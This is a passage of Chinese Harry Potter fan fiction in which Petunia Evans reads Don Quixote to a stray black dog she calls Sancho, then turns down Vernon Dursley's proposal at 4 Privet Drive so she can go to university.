“过来。”佩妮站在另外一盏路灯下,对她的好朋友招手。
黑狗却一动不动,站在路灯下,歪着它的脑袋,用那双黑色的眼睛注视着佩妮。
“过来。”佩妮再次重复,她晃了晃手里的纸袋,“这里面是牛肉三明治,你的晚餐。”
自从黑狗出现后,佩妮每天晚上都会多准备一份牛肉三明治。
但黑狗并不是每天都会准时出现,佩妮并不很能摸清楚它出现的规律。
虽然她单方面宣布这是她的好朋友。
但佩妮不知道她的好朋友从哪里来,也不知道它要去哪里。
她也不知道她好朋友的名字。
一开始看它周身漆黑,佩妮试探性地喊了它一声小黑布莱克。
后果就是哪怕她及时撤了一步自己的腿,但她那双鹿皮靴子上还是留下了一道深深的牙印。
它的出现伴随着偶然性,只陪她走过一小段回家的道路,随后在岔路口,她向左,它向右。
但这样的关系却使她感到轻松。
这条黑狗像独行侠一般独自生活在这钢筋水泥的城市森林里。
它蔑视一切的规则和法则。
好一条逍遥自由的狗。
看着佩妮手中的纸袋子,黑狗的眼睛明显亮了起来,它晃了晃尾巴,但目光落在佩妮的脸上,它又警惕地坐了下来。
“我保证,”佩妮有些好笑地看着那条黑狗的动作,无辜地发誓,“这次既不会把你推进水里,也不会在你的头上贴上三明治标签。”
她发誓,那天只是灵光一闪,拆开了牛肉三明治包装袋时,那标签黏在了她的手指上,她下意识就把标签贴在了凑在她旁边吃牛肉三明治的黑狗头上。
黑狗差点要一口把她脚脖子咬断。
现在她再三保证,语气相当诚恳,那黑狗才慢吞吞地踱着步子向她走来。
佩妮弯起了她的眼睛。
她坐在长凳的一侧,黑狗呆在长凳的另一侧,从纸袋里叼出属于它的牛肉三明治。
如果森林真的存在自然之灵,它可能真的是一条黑狗。
佩妮看着它。
看着它用鼻子把三明治里的生菜番茄片叼出来,嫌弃地扔在一边。
佩妮心下一动,将她手中三明治包装袋的标签,以迅雷不及掩耳之势贴在了黑狗黑亮亮的脑门上。
……
黑狗一头把她撞下了长凳。
“桑丘·潘纱,我的朋友。”佩妮站在明亮的路灯下,灯光照在她左手举着的那本小说上。
“桑丘·潘纱”安静地蹲在她的旁边,蹲在她被咬得七零八落的风衣下摆边,黑色的眼睛望着佩妮,全神贯注地聆听着佩妮用字符为它拼凑的一个世界——它脑门上有一块地方颜色稍浅,她把标签扯下来时带走了一小撮毛。
望着标签上的那搓黑毛,黑狗的眼神相当幽怨。
灯光照着它黑色的眼睛,佩妮有时会产生一种错觉。
看着她的不是一条狗,而是一个人。
但狗又怎么可能变成一个人?
这个想法太滑稽了,佩妮不得不把它从自己的脑海里摇了出去。
“做狗快乐吗?”她对那条黑狗说。
“汪!”黑狗回复她。
“做狗肯定比做人快乐。”
“汪!”
“塞万提斯一辈子只是个伤残的军士、潦倒的文人,做过俘虏,当过奴隶,在监狱里他创造出了堂吉诃德。”
“自命不凡的骑士,骑着一匹瘦马,带着一个侍从,就妄想挑战全世界。”
“桑丘”用亮晶晶的眼神凝望着她,它对塞万提斯不感兴趣,它只对堂吉诃德的故事感兴趣,它的尾巴敲打着她的小腿,催促着她快些接下去讲那个滑稽骑士堂吉诃德的故事。
是了,故事写完还与作者本人有什么关系吗?
佩妮把自己被咬的乱七八糟的风衣下摆从狗嘴里拔出来,视线移回到手中的小说上。
“这时候,他们远远望见郊野里有三四十架风车。堂吉诃德一见就对他的侍从说:运道的安排。桑丘·潘沙,我的朋友,那边出现了三十多个大得出奇的巨人。我打算去跟他们交手。”
这是她最喜欢的一段情节。
佩妮举着她的手,指着右前方路灯下的一团昏暗,在那不远处,昏暗的路灯下影影绰绰倒着一个什么东西。
“桑丘,我的朋友。”
“汪!”黑狗回答她,顺着她的手指看过去,黑狗的尾巴一刻不停地兴奋摇摆着。
“你也看见了是吗?”佩妮看着黑狗,“可是你让我仔细瞧瞧,那不是巨人,是风车;上面胳臂似的东西是风车的翅膀,给风吹动了就能推转石墨。”
远处青黑色的天幕向一条悬挂的毛毯,星星和月亮点缀在上面,而路灯则是地面上一盏又一盏的圆月。
“但要我说,”佩妮也把自己的视线移向了右前方的昏暗处,微微眯起她的眼睛,试图描绘清楚那事物的轮廓,“他们确是货真价实的巨人。"
"你要是害怕,就走开些,做你的祷告去,等我一人来和他们大伙儿拼命。”
“汪!”黑狗大叫了一声,表示了它的拒绝。
“你要跟我一起冲锋吗?”佩妮举起她的右手,在空中虚握,就好像她真的有一把宝剑一样。
黑狗晃着它的尾巴,开始难耐地穿梭在她的脚边。
“那么我们要冲锋了。”
佩妮举着她的宝剑,开始跑起来。
“他一面说,一面踢着坐骑冲出去。他的侍从桑丘大喊说,他前去冲杀的明明是风车,不是巨人;他满不理会,横着念头那是巨人,既没听见桑丘叫喊,跑近了也没看清是什么东西,只顾往前冲。”
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“他嘴里嚷着:你们这伙没胆量的下流东西!不要跑!前来跟你们厮杀的只是个单枪匹马的骑士!”
但现实里,她可不是单枪匹马。
黑狗仰头发出一声长啸。
她的“桑丘”在她的腿边跟她一起冲锋,毛茸茸温热的触感不时触碰到她的腿上,她得小心一些,以免被挨着她狂奔的“桑丘”绊倒。
“这时微微刮起一阵风,转动了那些庞大的翅膀。堂吉诃德见了说:即使你们挥舞的胳臂比巨人布里亚瑞欧的还多,我也要和你们见个高下!”
随着她的跑动,夜风灌进她的胸膛,使她感到满涨。
挂毯上悬挂的星星和月亮在她的视线里流动起来。
电线杆的影子投在墙面上,像风车的杆。
她举起不存在的宝剑,举起不存在的投枪。
路灯也把她的身影投射在墙上,一会儿拉长,一会儿缩短,像走马灯上的小人。
但她顾不得这么多。
她要向风车发起冲锋。
星星,月亮,路灯,落在墙面上的滑稽的影子,夜风拂过她的面颊。
她的眼眶开始发热,活着的感觉却在这一刻达到顶峰。
佩妮和黑狗停在一个倒置的黑色垃圾桶前。
——她随手所指的目标,她们冲锋的对象。
倒着的垃圾桶后面是一个上锁的铁门。
铁门里面则是一个废弃的工厂。
一瞬间她像回到了科克沃斯。
佩妮呆愣愣地站在垃圾桶前,看着上锁的铁门后面荒凉的场景。
黑暗中破败的建筑,胡乱堆砌的石砖,丛生的杂草。
它是一段被人遗忘的记忆。
她的生活同被上锁的铁门不一样。
她现在的生活由一块又一块整齐的石砖堆叠形成,一栋全副武装的堡垒,将生活的风雨隔绝在外。
“堂吉诃德一□□中了风车的翅膀;翅膀在风里转得正猛,把长枪迸做了几段,一股劲把堂吉诃德连人带马直扫了出去;堂吉诃德翻滚在地,狼狈不堪。”
“他被风车打得不能动弹了。”佩妮把堂吉诃德的结局念给黑狗听。
夜风把她的风衣下摆吹起来。
她把小说收到自己的挎包里,起身把那个倒塌的垃圾桶扶了起来。
她和斯内普的对话回荡在她的脑海里。
看故事的人都以为自己是代达罗斯。
但她是代达罗斯?还是伊卡洛斯?
“我比大多数人都幸运,”她盯着垃圾桶,喃喃自语道,“我拥有一个正常,平凡又普通的生活。”
无论是佩妮还是莉莉,妈妈都只希望她们能拥有平凡又幸福的一生。
黑狗咬住她的裤脚,用力向下狠狠拽了一把,把正在盯着垃圾桶神游的佩妮拉回了现实。
它急不可耐地拖着她,摇晃着它的尾巴。
早已破烂不堪的裤脚发出不堪重负的裂帛声。
佩妮看懂了黑狗的意图。
“现在轮到你当堂吉诃德,我来当桑丘了是吗?”
“你也想向风车发起进攻?”
黑狗用那双亮晶晶的眼睛望着她,眼睛里反射出柔美的月光。
佩妮的心也被它眼睛里反射出来的月光柔软了下来。
“不,”她莞尔一笑,面容露出几分狡黠,“冲锋的时间到了,今天你和我都应该回去了。再见。”
她才不要当侍从呢,她要做就做那个在前面冲锋的骑士。
94.chapter93
“他说他想同我结婚。”佩妮漫不经心地说,她的珍珠耳环和珍珠项链在阳光下闪闪发光。
视线的余光里黑狗立刻从长椅上直起它的身体,但它好像只是在原地调整了一下姿势,便重新趴了下去,但它竖起的耳朵却一刻没有放下来。
一个罕见的晴朗下午,佩妮坐在长椅上,看阳光穿过树梢,在她面前的石砖路上投下斑驳的影子。
她身侧放着一份封好的文件,右手撑着下巴,百无聊赖地看着从长椅前经过的往来人群。
一只白色的蝴蝶扑闪着翅膀,快要落到佩妮露出裙边的白色皮鞋尖,此时却一阵风拂来,它受惊般又顺着风飞远了。
“钻机公司的初级主管,他有一栋房子,”佩妮的视线追逐着那只蝴蝶,“就在萨里郡,女贞路4号,那是他妈妈留给他的房子。”
“他说他爱我。”
蝴蝶走远了,阳光有一些夺目,使佩妮不得不眯起了她的眼睛,正巧对上黑狗望向她的目光。
“他说见到我的第一面,我就给他留下了深刻的映像。他说我有他见过的最好看的一头金发。”
不知怎的,她觉得那黑狗看向她的目光里透露着几分嘲讽。
但佩妮假装没看见,不管不顾地说了下去。
“他总是出现得很及时。”佩妮停顿了一下,“他出现在科克沃斯的那天晚上,我就知道自己完蛋了。”
黑狗把自己的头搭在放在长椅边缘的前爪上——它头上暗淡的那一片又重新长出了漆黑光亮的毛发,垂下去的蓬松尾巴像挂钟的下摆,一刻不停地摆动着。
不远处草坪上自由飞舞的蝴蝶将它的视线吸引走,它看上去一点也不想搭理佩妮的话。
佩妮也不指望得到它的回答。
“在你的旅途中有没有见过一只猫?”黑色的耳朵动了动,转过头一双黑色的眼睛斜觑着她,“一只白猫,头顶有一撮黑毛,只有半截尾巴。”
佩妮的语气平静得像在讲述别人的故事。
“是我的错。”
“它叫多利,是我的猫。动物保护协会的人说让我关好门窗,它太向往自由了。但是回科克沃斯处理爸爸妈妈的丧事时,我忘记给它准备足够多的水和粮食了,等我再回到伦敦时,它就已经跑掉了。”
“在你的旅途中,你见过它吗?”
“它是最优秀的猎手,比起死亡,自由肯定先吻上它。但是如果它还活着,为什么一次也不回来看我呢?我明明有在长大。”
佩妮收回了自己的视线,算了,看它的样式,它也没见过这只猫。
“他对我很好,给我买衣服、首饰,带我出席各种各样我本去不了的场合。太阳永远不会落下,世界也不会因此而融化。”
黑狗打了个哈欠,似乎对佩妮这平凡又无聊的故事一点兴趣也没有。
“他甚至能接受我妹妹还有准妹夫是巫师。”那条黑狗突然把它的头转了过来。
“你知道巫师吗?想不到吧,魔法,霍格沃茨,这儿另一个我去不了的世界呢。”佩妮托着她的下巴说,“我们全家只有莉莉是巫师,她可真幸运。我吃过一种糖,滋滋蜜蜂糖,吃完后你可以短暂地飞起来,那种感觉真的很奇妙。”
“也许那天,我不应该让弗农与莉莉还有詹姆见面。”
“莉莉就是我的妹妹,詹姆·波特是她的未婚夫。”她向黑狗解释道。
“他们两个都是巫师。”望着盯着她看的黑狗,佩妮露出一个笑容,但她很快又收敛了:“弗农为他们准备了一个晚宴,但那天的晚餐实在太糟糕了,詹姆把弗农气坏了。弗农和他谈论股票、汽车和工作,詹姆却跟他说飞在天上的扫帚,藏在古灵阁的金子。”
她从一条黑狗的眼睛里看见了明明白白的嘲讽,不知道是嘲讽那个平庸的晚宴,还是嘲讽她这个无聊的故事。
它不耐烦地从长凳上跳了下去,伸了一个懒腰,似乎午休要结束了。
“莉莉哭了,她以为我在生她的气。”佩妮收回了自己的视线,落在不远处捕食的鸽子上,如果黑狗要走,就随它去,但这个故事,她要对自己讲完,“她向我解释,参加这场晚宴之前,詹姆刚结束一个任务,他们有一段时间没有好好休息了。”
“弗农更生气了,因为他为那场晚宴做足了准备,莉莉这话却让他认为他们随随便便就来了。”
“我知道莉莉不是这个意思,她和詹姆·波特加入的那个社团,任务总是随时会来,她在信里是这么给我写的。”黑狗看了她一眼,又重新跳回了长椅上,但它伸出了舌头,喘着气,胸膛起伏着,看上去有那么些许不耐烦,“可这是莉莉自找的。”
佩妮固执地说了下去:“从霍格沃茨毕业,她就一头扎进了石墙里,她只回头看了我一眼。一点儿也不在乎她那唯一的,可怜的姐姐内心的感受。”
“一个具有伟大能力的小巫师,却偏偏要选择一个动荡不安的混乱人生。”
“也许弗农说的是对的,这个世界太混乱了,所以才显得正常是多么难能可贵。”
佩妮的语气里是自己也没能听出来的急躁,她不去看黑狗望过来的视线。
“我和弗农在利兹的旅程也乱糟糟的。”
“那是我同弗农一起去过的最混乱的行程了。夜晚的抗议游行把我们困在了房间里,抗议者手里的火光还有警察手里的手电筒灯光让夜晚像白天一样明亮。”
“她们把裹着浸满汽油的□□扔进了橱窗里,要求他们把夜晚还给她们,橱窗飞出来的碎玻璃,就从我们汽车前方的挡风玻璃划了过去。”
“回来的路上碎石又砸塌了前方的路面,汽车被滞留在那条马路上,尾灯连成了一条川流不息的红色河流。”
“从去年的冬天开始,一连串的工业活动,街头上到处都是举着牌子游行的罢工人群。电视上报道超过5%的失业率。到处都是混乱,建筑和大桥发生倒塌,总有人死亡。”
“就算走在大街上也可以看见救护车在街道穿行。”
“就像这糟糕的人生一样,处处激荡起混乱的漩涡,看一眼就要被吸进去了。”
“我差点以为我要没有办法回到伦敦了。”佩妮对黑狗说。
这个世界乱糟糟的。
萨特克利夫那个屠夫还在逃窜,但我们已经收缩了包围圈,埃莉诺对佩妮说,她点一根烟,连日的追捕行动使她眼眶深陷。但她的目光看起来就像火炬一样,她把烟头掐灭在半罐汽水罐里,跨坐上她的摩托车,我把伊索尔德送去了美国,你自己要小心一点。
利兹举行的夜晚反暴力游行还在持续,她们在街头大喊,把夜晚还给我们!想要保护我们,只要禁止施暴者——男人夜晚出行就好了。
佩妮不太关心政治,也不太关心经济,这个世界处在一片混乱之中。
她讨厌混乱,混乱带来背叛、孤独和离别。
而坐在德思礼的汽车里,灯光像太阳一样永远笼罩着她,冬天的风永远也吹不到她这儿。
“所以等回到伦敦后,那间餐厅井然有序的内部空间——它从维多利亚时代就开在那里了,明亮的灯光,热气腾腾的红茶,将饥肠辘辘的肠胃填满的牛扒,每一样东西都在向我强调正常和秩序的重要性。”
“可詹姆呢?他说的话,他描述的那个世界就跟他的头发一样乱糟糟的,魁地奇队长,格兰芬多的级长,学生会主席。但要我看,在那场晚宴上他就像个假装大人的孩子。他能保护好莉莉吗?”
黑狗不耐烦地调整了一下他的姿势,它看起来很想咬人,也许这个故事也让它感到无聊又烦躁,但佩妮无法停下来。
“不能埋怨弗农,弗农喝了一点酒,场面变成那样我也有责任,侍者端上第二瓶红酒询问弗农要不要开时,我就应该拦住他。利兹的那场游行带来的混乱确实吓到他了。”
“他差点没拿到利兹的订单——桑格坦先生同他针锋相对。他埋怨我不该向桑格坦太太讲述我的课程,讲述我在读什么书。但是我给她讲了一个故事,”佩妮对黑狗眨了眨眼睛,“桑格坦太太很喜欢这个故事,她说她会帮我。”
“虽然弗农最后还是拿到了利兹的那笔订单。”
“其实什么事情也没有发生,但是不知道为什么,我竟然是第一个从那场晚宴上逃掉的人。”佩妮像一个试图寻找填字游戏答案的人,看着黑狗黑色的眼睛。
但她很快眨了眨眼,移开了自己的视线。
“弗农喝了一点酒,问我,魔法是否属于妄想的一种,而妄想是一种精神病,会遗传给下一代。”
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这句话犹如当头向她浇了一盆冷水,使她清醒过来。
佩妮看着德思礼,就像是第一次认识他。
不对,应该是第一次认识坐在他身边的自己。
镜头拉高点,放远一点,看看她身处在哪里。
她身处于一个昂贵的餐厅,把自己套在一身华美的礼服里,吃着一顿豪华晚餐,身边坐着一位世俗意义上的优质男伴,听着他讲正常的话。
在混乱世界里,过着罕见的正常生活。
但为什么会喘不过气来了。
她是伊卡洛斯,还是代达罗斯?
看故事的人都以为自己是代达罗斯。
但是她呢?
是她自己选择飞向太阳的。
“莉莉跟着我跑了出来,一路跟着我跑回了我那栋公寓。我明明在生气,她却看起来很开心。”
“她问我,是不是还在写那些东西,我写那些东西关她什么事呢?”
莉莉站在她的窗边,指着佩妮桌上摊开的笔记本。
佩妮从烟盒里抽出一根女士香烟,香烟烦躁地在她手中转动,但最后又被她收了起来。
是,她是在断断续续写一些短篇小说。
她只写女人的故事,写各种各样女人的故事。
玛莎对她说现在已经开始有读者关注报纸上那位名叫P.E的作家了。
但这关莉莉什么事。
詹姆来接莉莉。
他们要回到自己的故事里去。
在他们要离开前,她叫住了莉莉,她什么话也没能说出来,莉莉却一下看懂了她的神色。
莉莉把额头贴在她的头上,用那双水绿色的眼睛近距离看着她,她的眼睛里全是她。
不要为我担心,我同很多人一起,为更多的人在战斗呢,她说。你不是也在战斗吗?用你的那些故事。
她们会拥有一个美好的结局吗,在你的故事里?那双湖水般的眼睛问她。
她努力瞪大她的眼睛,但没有用,泪水不知道什么时候涌出来,模糊了她的视线。
她们会拥有一个美好的结局,在我的小说里,我保证。
她对莉莉说。
那就足够了。莉莉的吻落在她的额头上。
莉莉永远爱佩妮,永远。
远处一声汽车的鸣笛声打断了佩妮的话语,接她的汽车来了。
黑狗警惕地从长凳上直起了身体,冲着汽车的方向亮出了它的獠牙。
佩妮发出一声叹息,拿起她的小说还有那份文件,从长椅上站了起来。
黑狗从长凳上跳下来。
“这条裙子不错吧,他为我购买的裙子,穿上去我自己都快认不出镜子里的我了。”她整理了一下她的裙摆,向黑狗展示她身上那条漂亮的连衣裙。
黑狗一口就咬住了她那条价值不菲的连衣裙下摆。
“松口。”佩妮扯了扯自己的裙角,温柔地对黑狗说。
“德思礼向我道歉了,他向我许诺德思礼太太的头衔,萨里郡的那栋房子,一个稳定幸福的人生。”
可黑狗仍咬着她的裙摆不肯松口。
“接下来你要去哪里?”佩妮有些好奇地问,但黑狗不理她,只一味咬紧它的牙关。
佩妮无奈地笑了起来,扯了扯自己的裙摆,对黑狗晃了晃她手中的那份文件,颇有些遗憾地说:“我们得在这儿分别了,桑丘。A level课程已经结束了,你该去过你自己的生活了。”
“而我,”不远处停着的黑色轿车再次发出一声不耐烦地催促似的鸣笛声,佩妮先看了一眼停在那儿等她的黑色轿车,再看这只拽着她的裙角,怎么也不肯松口的黑狗,目光和语气逐渐坚定起来,“有些事情得我自己去做决定。”
“这是我自己的命运。”
在她坚定的视线里,黑狗慢慢松开了它的牙齿。
佩妮趁机扯出了自己的裙角,任凭它湿哒哒皱巴巴地垂在她的脚踝边上。
她伸出手要去摸一下那只黑狗光亮的皮毛,但它往后一撤,躲开了她探过去的手。
好吧,她忘记了这是一只多么骄傲的动物。
她对黑狗眨了眨眼,拿着她的羊皮纸文件冲黑狗挥了挥,便转身走向了等待着她的那辆黑色轿车。
95.chapter94
萨里郡,女贞路4号。
她坐在汽车里,朝向这个命运终点出发。
阳光从德思礼那一侧的车窗投射下来,将穿着一身高级定制黑色西装的侧影打在她的身上。
车窗映着她的珍珠耳环还有珍珠项链,车窗外快速闪过一排排阳光下挺拔如仪仗队的树。
阳光毫无保留地投射在大地上,给所有的事物都慷慨地镀上一层金色。
有什么东西在树间一晃而过,但车开得有一点快,那东西转瞬即逝,佩妮便觉得自己花了眼。
她收回了自己的视线。
一个多么罕见的晴朗的下午。
阳光下一切显得那么美丽。
他先许诺她一栋华丽的房子。
女贞路4号迎着佩妮望向它的视线,傲然挺立。
它身边是一幢幢同它别无二致,井然有序屹立在阳光下的房子。
太阳不分彼此,慷慨地将金子般的阳光投射在它们统一的白色屋顶上。
象征整齐又美丽的秩序。
佩妮伸出手只轻轻一推,花园前那扇挂着“德思礼”字样铜铭牌的大门就为她打开了。
她走进了花园里。
青草的气息与玫瑰、月季的香甜钻进她的鼻子里。
红色的玫瑰,粉色的月季,白色的百合争先恐后地从隔壁花园的围栏边探出头,向她打招呼。
月季、玫瑰旁边站了一位正在浇水的金发美人,穿着一条无袖白色连衣裙,发间的珍珠发卡在阳光下闪闪发光。
只是相比之下,女贞路4号只有青草的花园明显缺乏女主人的打理,对比之下显得格外朴素。
那金发女子的视线同佩妮对上,翕动她那双美丽的蓝眼睛,对佩妮露出一抹笑容。
此后女贞路4号也会有一位金发的太太,在这里种满美丽的月季和玫瑰。
德思礼停好车,从她身后快步走上来,带着佩妮走进女贞路4号那扇新漆了白漆,在阳光下闪闪发亮的大门。
“一楼的这间厨房属于你,希望你会喜欢。”
随后他再许诺她未来一个安稳美满的生活。
“这儿配置一台洗碗机,解放你的双手,佩妮。那儿再多添置一台冰箱,你喜欢什么都可以放进来。冰箱使食物不会腐烂——但你要给我留下放甜品的位置。”
风从打开的窗户吹进来,吹动窗帘,将那宽敞又明亮的厨房里的一切送进她的眼底里。
专业的管道设计,专人的维护。
女贞路4号的厨房里肯定不会有老鼠。
佩妮摸了摸她的珍珠耳环,银针使她的耳垂有一些痛又有一些痒。
转出厨房,经过餐室,路过餐桌上放置着的一整套波斯湾舶来的纯银餐具。
“现在我们上二楼去瞧瞧。”她踩上那坚实的楼梯——这里的楼梯不会发出那种令人提心吊胆的吱呀声。
德思礼推开第一间房门。
“这一间作为客房。”德思礼对佩妮说,“玛姬现在虽然有了自己的家,但她有时候会来看我,需要时她就住在这儿。”
随后是第二间房。
“这一间是儿童房,你没有意见吧,佩妮。”德思礼看着佩妮,目光里流露出向往,“第一个孩子一定是个男孩,他的名字就叫做达利,达利小英雄会继承我的一切。”
第三间房间。
“做一间书房吗,弗农?”佩妮对德思礼说。
这是面积最小的一间,窗户也是它们当中最小的,阳光无法彻底照进这间房间,推开门时,一股灰尘的味道铺面而来,房间空荡荡的,没有床摆在里面。
但放一张书桌,添一个书架却正好不过。
“书桌和书架?”可德思礼用一种她疯了的表情看着她:“不不,佩妮,你还需要读书吗?你不需要读书了!这是用来堆达力放不下的礼物的房间。”
“第一年达力会有一件生日礼物,第二年达力会有两件生日礼物,第三年……我要给达力最好的东西。”
他会是一个好父亲。
“客厅那儿有位置呢,”看着佩妮的脸,德思礼柔下了他的嗓音,“如果你实在要读,那儿给你放书架,放你喜欢的任何书——不过我希望不要占据你太多的时间。”
走廊的尽头是最后一间房。
德思礼殷勤地为她推开房门。
房门刚推开一道缝隙,玫瑰浓烈的香味便从里面争先恐后地钻了出来,随着房门的打开,起居室暴露在佩妮的眼前,她的视野便被满室的红玫瑰填满了。
红玫瑰占据了房间里的每一个角落,填满了她的眼耳口鼻,呼吸之间,她的嗓子眼里也开出了一朵朵玫瑰花。
——每一个美满的终点都要有玫瑰。
咔哒一声,房门在她身后被关上。
玫瑰的海洋里,佩妮抚摸上横亘在她颈项上的珍珠项链。
他为她系上的珍珠每一颗都又白又大,绝对不参杂一颗假货——那绝对不体面。
她已经猜出了他要做什么,她要为她即将到来的幸福而感到眩晕。
德思礼转身走到了她的前头,站在佩妮的前面低头深沉地看着她,他的右手从口袋里掏出了什么。
“佩妮。”他的脸开始红起来。
她看着他。
“不知道为什么,从我见你的第一眼,你的金发,你的神态就使我移不开眼睛。”他郑重地说到,“这可能是命运。”
在他母亲曾经的起居室,他举着一颗钻石戒指,向她单膝跪下。
阳光明媚,窗户大开。
一个动人的仪式连接旧故事的终点和新故事的起点。
你是世界上最幸运的女孩,她对自己说。
她既不是山雀,也不是女巫。
她只是科克沃斯小镇上一个普通工薪家庭的女孩。
父母不幸去世,妹妹在另外一个她无法企及的世界。
但她又格外幸运。
遇见一个爱她,对她别无二心的体面绅士。
他总在最恰当的时候出现。
就像命中注定一样。
“请嫁给我,佩妮。”举着那枚钻戒,德思礼深情款款地看着她。
——现在他向她许诺德思礼太太的头衔。
佩妮·伊万斯,最终成为佩妮·德思礼。
在女贞路4号,这个带花园的,有高档冰箱,超大屏液晶电视的别墅里,开启她作为德思礼太太的幸福生活。
阶级跨越,美梦成真。
她足下的地面在这一刻变得柔软起来,玫瑰缠绕上了她的脚,将她拖入那片由芳香和绮丽的颜色织成的海水里。
小心,玫瑰的枝干可带着刺呢。
——那些刺没有什么大不了的,它们依旧无法掩盖玫瑰的芳香,玫瑰的绚丽。
她把高跟鞋脱掉了,远远地扔到树下。
他半途知返,诚挚地对她道歉,又弯下他骄傲的头颅和脊背,重新为她穿上那双鞋。
德思礼仰头注视着她,等待她按照命定的结局,喜极而泣,套上那枚戒指,扑进他的怀里。
这是小说注定的结局,或者说是另外一本小说的开始。
而佩妮的视线直勾勾地盯着德思礼背后的那幅肖像。
那是他母亲的肖像。
正挂在房间的中央,还来不及从墙面上取下去。
她从来没有见过他去世的母亲,这是她第一次——跨越时间和空间,与这个女人见了面。
他说见她的第一面就被她的金发还有神态吸引了。
他不知道为什么,但他把这归结于命运。
而画像上是一位瘦高的女人,双手交叠,颧骨突出,脖颈修长。
她的金发看起来同佩妮一模一样。
他说他爱她。
一股强烈的感觉席卷了佩妮,使她在这一刻感到一阵眩晕般的茫然。
画框中的女人嘴角微弯,带着一种似欢欣,似满足又似嘲讽的笑容,从高处俯视着她。
将一种隐秘的命运传递给她。
所谓命运。
——原来命运的源头就在这里。
佩妮打了一个激灵,脚下的地面变得坚实起来,她一下从那柔软的海洋里回到陆地上。
微风送来了窗外木头、青草的香味,打破了这一室玫瑰的甜香。
她好似如梦初醒。
佩妮撕开了那份文件袋,将她的A-level成绩单,大学申请单,一股脑递到了德思礼的面前。
佩妮从女贞路4号出来。
大门砰地一声在她身后关上。
蓝天上云卷云舒,佩妮望着它们狠狠深吸了一口气,提着包快速走到了屋门口的草坪上。
她有些愕然地对上了那只黑狗的视线。
啊,她的桑丘。
它不知道什么时候已经等在了女贞路4号街对面的树下,一看见她就摇着尾巴冲上来,在她身边急躁地嗅来嗅去,然后转身对着她身后叫了起来。
跟在她身后,怒气冲冲地从房子里钻出来的德思礼。
“你疯了吗?”德思礼的眼睛里闪烁着火光。
佩妮回头看他。
“我要去读大学。”出乎她的意料,她的声音听起来可相当平静。
“我看你是疯得没边了。”
“这是萨里郡最好的地方。我妈妈留给我的这栋房子有整整两层楼,还有花园、最高档的冰箱、汽车。未来这样的人生你有什么不满意的呢?”
她可能的确是疯了,德思礼说的每一句话她都无法反驳。
但是她自己要从女贞路4号走出来,走出来又怎么甘心再回头。
佩妮抓住自己的手提包,看着德思礼的脸因为激动而涨红。
“你不想当德思礼太太,你想当谁的太太?”阳光下他眯起了他的眼睛,狐疑地盯着佩妮,“你爱上了其他的男人吗?比我更有钱,更有权,还更能讨你欢心的男人?你们女人都是这样……”
德思礼向前追了两步,还没有等佩妮开口,黑狗就冲过来挡在了佩妮和德思礼之间,高高竖着它的尾巴,发出威胁似的吼叫声。
它把德思礼吓得后退了一大步:“管好你的狗!”
桑丘不是佩妮的狗。
佩妮试探性地伸出手,成功触碰到了黑狗毛绒绒的头颅——她能够感觉到她的手指刚触碰到它时,一瞬间它全身的僵硬,但这一次那只骄傲的动物没有甩开她的手,它给了她最大的耐心和容忍。
她的手指沿着黑狗的脊椎,从它毛绒绒的脑袋一路滑到它的尾巴,感受它微高的体温和它在她手下轻微的颤栗。
佩妮看着德思礼摇了摇头,现在她明白了:“谁的太太我也不想当。”
不只是德思礼,连她手下的黑狗都为她这异想天开又不可理喻的话而躯体一震。
“我好不容易才走到这里……”她哽了一下。
“我不想要厨房,我不想要冰箱,我不想要超宽屏的电视机。”
最初的最初,开启紫藤巷17号的那把钥匙。
“我不想再坐在你的副驾驶座位,被你随便地扔在那条车道上。我要自己买一辆车,二手的也好,怎么都行,我要自己握着方向盘。”
佩妮——正在擦拭宝剑的布伦南小姐抬起了眼,从河岸那边遥遥向她望了过来。
别停下来。一直走出舞台边际的伊丽莎白。
“我不想要一个叫达力的孩子。”
“别从我这里找你妈妈的痕迹,我不是她!”
没有选择的自由不是真正的自由。塞拉菲娜对她说,选择的内容是什么不重要,选择本身更重要。
她想做一只自由的鸟,飞过西伯利亚的高空,索菲在《山雀》里写,但最后她看着阿加莎,对她说的却是一声妈妈。
给佩妮的教育启动资金。
“我想要一个书架,我想要一间书房,我想要一支笔,我想要一张纸……”
剩下的话都被佩妮吞咽了下去。
“我要去上大学。”佩妮定定地看着德思礼。
德思礼闭上了他的嘴,他的表情看起来佩妮说的是天方夜谭,这比她承认她爱上了另外一个男人,更让他难以接受。
于是他盯着佩妮的眼睛,降下他的诅咒:“你永远也不会再遇到像我这样爱着你的男人,永远也不会幸福。
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”
佩妮看着德思礼因为愤怒而五官失控的脸,头脑却从未如此刻般清醒。
“对不起,弗农。”佩妮耸耸自己的肩,但一直以来堵在她胸口像石头一样东西化成了一股水流,使她内心感到愉悦又轻松,她感觉自己的眼睛有一些胀,也有一些热,她把自己一直想说的那句话说了出来:“我不要别人的爱,我会自己爱自己。”
德思礼的胸口剧烈地起伏着。
他的脸和脖子逐渐发紫,但他一个字儿也说不出来。
佩妮对他欠了欠身,转身要离开花园。
“你会后悔的。”
佩妮的脚步一顿,停在了原地。
跟着她的黑狗抬起头,用那双黑色的眼睛紧张地看着她。
佩妮转过身,朝向德思礼。
狂喜在这一刻涌上德思礼的面目,还混杂一点洋洋得意,这些表情堆叠在一起使他的五官扭曲了起来。
“你现在就后悔了吗?如果你现在痛哭流涕,跪下来苦苦哀求我,说不定我会改变我的心意。”
但在德思礼的视线里,佩妮只是沉默不语地解下了耳朵上的珍珠耳环,还有脖子上的珍珠项链。
接着脱下脚上的那双白色皮鞋。
她把它们一一摆放在草坪上。
笑容凝固在德思礼的脸上。
啊,还有那身衣服,可她现在不能把衣服脱下来还给德思礼。
佩妮从自己的包里拿出了妈妈留给她的那个信封。
妈妈。
无论是佩妮,还是莉莉,妈妈只希望她们拥有虽然平凡,但幸福美满的生活。
但什么是平凡,却幸福美满的生活?
佩妮从那个信封里抽出好几张英镑。把它们压在了草坪上那双白色的皮鞋下。
“都还给你。”她对德思礼说。
不知道从哪里吹来一阵风,将她的裙角吹起,也送来远处教堂的歌声。
她和德思礼都听见了那被风送来的不合时宜的歌声。
婚礼进行曲在风中响起,圣童高唱赞美歌。时间恰恰好,有一对新人在神父的见证下,正在教堂进行神圣的仪式。
德思礼侧耳听了一会儿,弄明白歌声的内容后,对她露出了一个古怪的笑容:“那就回到你自己的生活里去吧,那就回到你在伦敦那间充满老鼠的公寓,继续写你那不知所谓的东西,一辈子与贫穷和孤独作伴去吧。”
黑狗看起来要冲向德思礼,但佩妮及时按住了它。
佩妮侧耳聆听了一下风中的旋律,弯起了她的嘴角。
这个下午阳光可真美。
